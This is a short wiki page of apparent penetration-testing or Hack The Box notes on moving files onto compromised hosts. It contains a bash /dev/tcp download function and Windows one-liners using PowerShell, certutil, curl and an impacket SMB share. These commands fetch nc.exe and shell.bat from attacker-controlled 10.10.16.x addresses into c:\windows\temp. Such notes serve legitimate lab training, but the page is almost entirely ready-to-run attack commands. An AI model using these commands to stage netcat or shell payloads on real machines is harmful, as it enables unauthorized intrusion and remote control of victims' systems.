Skip to content

File Transfer

Alvin Smith edited this page Dec 1, 2023 · 6 revisions

Check curl, python, ssh, netcat for linux

If nothing there

https://unix.stackexchange.com/questions/83926/how-to-download-a-file-using-just-bash-and-nothing-else-no-curl-wget-perl-et

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

__curl http://www.google.com/favicon.ico > mine.ico

Windows

Powershell

Checking more from the "Hacker-tools" plugin

powershell IWR http://10.10.16.9/shell.bat -OutFile shell.bat

powershell -c wget http://10.10.16.12/nc.exe -outfile c:\\windows\\temp\\nc.exe

SMB

python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
copy \\10.10.16.9\kali\nc.exe nc.exe

certutil

certutil -urlcache -f http://10.10.16.9/nc.exe nc.exe

curl

curl 10.10.16.12/nc64.exe -o c:\\windows\\temp\\nc64.exe

HTB Academy Module

Others

Clone this wiki locally